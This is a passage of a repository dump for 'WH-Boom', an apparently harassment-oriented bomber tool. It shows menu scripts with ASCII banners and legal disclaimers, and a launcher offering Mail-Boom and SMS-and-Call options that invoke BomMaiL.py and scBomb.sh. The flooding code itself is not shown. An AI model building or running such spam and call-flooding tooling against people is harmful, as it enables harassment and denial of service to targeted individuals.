"\e[1;31m I Am Not Responsible For The Misuse Of The Script. \e[0m" 191 | echo -e "\e[1;32m Make Sure To Update it If It Does not Work.\e[0m" 192 | echo " " 193 | 194 | echo -e "\e[4;31m That's All !!!\e[0m" 195 | echo -e "\e[1;34m For Any Queries contuct github Me!!!\e[0m" 196 | 197 | echo -e "\e[1;32m Github: https://github.com/wh-hackerexploit \e[0m" 198 | echo -e "\e[4;32m YouTube Page: https://www.youtube.com/channel/UCj6ekUzjItnjP6T7I9r1WMA?sub_confirmation=1 \e[0m" 199 | echo "Press Enter To Go Home" 200 | read a3 201 | clear 202 | elif [ $ch -eq 5 ];then 203 | clear 204 | echo -e "\e[1;31m" 205 | figlet WH-Boom 206 | echo -e "\e[1;34m Created By \e[1;32m" 207 | echo " ██╗ ██╗ █████╗ ██████╗██╗ ██╗███████╗██████╗ ███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗" 208 | echo " ██║ ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗ ██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝" 209 | echo " ███████║███████║██║ █████╔╝ █████╗ ██████╔╝ █████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║ " 210 | echo " ██╔══██║██╔══██║██║ ██╔═██╗ ██╔══╝ ██╔══██╗ ██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║ " 211 | echo " ██║ ██║██║ ██║╚██████╗██║ ██╗███████╗██║ ██║ ███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║ " 212 | echo " ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ " 213 | echo " " 214 | 215 | echo -e "\e[1;34m For Any Queries contuct Me on github!!!\e[0m" 216 | 217 | echo -e "\e[1;32m Github: https://github.com/wh-hackerexploit \e[0m" 218 | echo -e "\e[4;32m YouTube Page: https://www.youtube.com/channel/UCj6ekUzjItnjP6T7I9r1WMA?sub_confirmation=1 \e[0m" 219 | echo " " 220 | exit 0 221 | else 222 | echo -e "\e[4;32m Invalid Input !!! \e[0m" 223 | echo "Press Enter To Go Home" 224 | read a3 225 | clear 226 | fi 227 | done 228 | 229 | -------------------------------------------------------------------------------- /whb-bin/scifi.mp3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/R47DEV/WH-boomber/ef9ff7b964765f14ae1a8e43d89a3e34c20246dc/whb-bin/scifi.mp3 -------------------------------------------------------------------------------- /whmenu.sh: -------------------------------------------------------------------------------- 1 | ################################################################################### 2 | ################################################################################### 3 | ## Name : Hacker Exploit ## 4 | ## POWER BY >> WH-HackerExploit ## 5 | ## version : 2.0.1 ## 6 | ## Developer: R47 ## 7 | ## ## 8 | ##-------------------------------------------------------------------------------## 9 | ## LEGAL DISCLAIMER >> ## 10 | ## ## 11 | ## Do not attempt to violate the law with anything contained here. If this ## 12 | ## is your intention, then LEAVE NOW! Neither administration of this ## 13 | ## server, the authors of this material, or anyone else affiliated in any ## 14 | ## way, is going to accept responsibility for your actions. ## 15 | ################################################################################### 16 | ################################################################################### 17 | 18 | 19 | #run script 20 | 21 | #!/bin/bash 22 | LPARTH=`pwd` 23 | RED=$'\e[1;31m' 24 | GREEN=$'\e[1;32m' 25 | YELLOW=$'\e[1;33m' 26 | BLUE=$'\e[1;34m' 27 | RESTORE=$'\e[0m' 28 | homepage=$LPARTH/WHB.sh 29 | homemenu="whmenu.sh" 30 | 31 | chmod 777 * 32 | rm -rf $LPARTH/wh2update-data-r47 33 | rm -rf $LPARTH/update-rProgress.sh 34 | sudo service postgresql stop 35 | 36 | clear 37 | 38 | #logo or name 39 | echo "${GREEN} WELCOME TO The ${RESTORE}" 40 | echo "${RESTORE}" 41 | echo "${YELLOW}" 42 | 43 | echo " █ █░ ██░ ██ ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███ ▓█████ ▒██ ██▒ ██▓███ ██▓ ▒█████ ██▓▄▄▄█████▓" 44 | echo "▓█░ █ ░█░▓██░ ██▒ ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒▓█ ▀ ▒▒ █ █ ▒░▓██░ ██▒▓██▒ ▒██▒ ██▒▓██▒▓ ██▒ ▓▒" 45 | echo "▒█░ █ ░█ ▒██▀▀██░ ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒▒███ ░░ █ ░▓██░ ██▓▒▒██░ ▒██░ ██▒▒██▒▒ ▓██░ ▒░" 46 | echo "░█░ █ ░█ ░▓█ ░██ ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄ ▒▓█ ▄ ░ █ █ ▒ ▒██▄█▓▒ ▒▒██░ ▒██ ██░░██░░ ▓██▓ ░ " 47 | echo "░░██▒██▓ ░▓█▒░██▓ ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒░▒████▒▒██▒ ▒██▒▒██▒ ░ ░░██████▒░ ████▓▒░░██░ ▒██▒ ░ " 48 | echo "░ ▓░▒ ▒ ▒ ░░▒░▒ ▒ ░░▒░▒ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░░░ ▒░ ░▒▒ ░ ░▓ ░▒▓▒░ ░ ░░ ▒░▓ ░░ ▒░▒░▒░ ░▓ ▒ ░░ " 49 | echo " ▒ ░ ░ ▒ ░▒░ ░ ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░ ░ ░ ░░░ ░▒ ░░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ▒ ░ ░ " 50 | echo " ░ ░ ░ ░░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ▒ ▒ ░ ░ " 51 | echo " ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ " 52 | echo " ░ " 53 | echo " " 54 | 55 | echo " ▄▀▀█▄▄ ▄▀▀▀▀▄ ▄▀▀▀▀▄ ▄▀▀▄ ▄▀▄ ▄▀▀█▄▄ ▄▀▀█▀▄ ▄▀▀▄ ▀▄ ▄▀▀▀▀▄ " 56 | echo "▐ ▄▀ █ █ █ █ █ █ █ ▀ █ ▐ ▄▀ █ █ █ █ █ █ █ █ █ " 57 | echo " █▄▄▄▀ █ █ █ █ ▐ █ █ █▄▄▄▀ ▐ █ ▐ ▐ █ ▀█ █ ▀▄▄ " 58 | echo " █ █ ▀▄ ▄▀ ▀▄ ▄▀ █ █ █ █ █ █ █ █ █ █ " 59 | echo " ▄▀▄▄▄▀ ▀▀▀▀ ▀▀▀▀ ▄▀ ▄▀ ▄▀▄▄▄▀ ▄▀▀▀▀▀▄ ▄▀ █ ▐▀▄▄▄▄▀ ▐ " 60 | echo "█ ▐ █ █ █ ▐ █ █ █ ▐ ▐ " 61 | echo "▐ ▐ ▐ ▐ ▐ ▐ ▐ " 62 | 63 | 64 | echo "${RED}==============================================================================================================" 65 | echo "${RESTORE}" 66 | echo "${BLUE}" 67 | echo "LEGAL DISCLAIMER >>" 68 | echo "${RED}" 69 | echo "Usage of WH-HackerExploit Hacking Tool for attacking targets without prior mutual " 70 | echo "consent is illegal. It's the end user's responsibility to obey all applicable local," 71 | echo "state and federal laws. Developers assume no liability and are not responsible" 72 | echo "for any misuse or damage caused by this program. Only use for educational purposes." 73 | echo "" 74 | echo "${RED}==============================================================================================================" 75 | echo "${RESTORE}" 76 | echo "${RESTORE}" 77 | 78 | sleep 1.5; 79 | 80 | 81 | echo "Select Your target Option >" 82 | echo "${YELLOW}" 83 | 84 | echo "${RED}" 85 | echo "Exit for [ Ctrl + c ] :-)" 86 | echo "${YELLOW}" 87 | select planet in "Mail-Boom" "SMS-and-Call" 88 | do 89 | if [ "$planet" == Mail-Boom ] 90 | 91 | then 92 | python $LPARTH/whb-bin/BomMaiL.py 93 | 94 | bash $homemenu 95 | 96 | elif [ "$planet" == SMS-and-Call ] 97 | then 98 | bash $LPARTH/whb-bin/scBomb.sh 99 | bash $homemenu 100 | fi 101 | done 102 | 103 | --------------------------------------------------------------------------------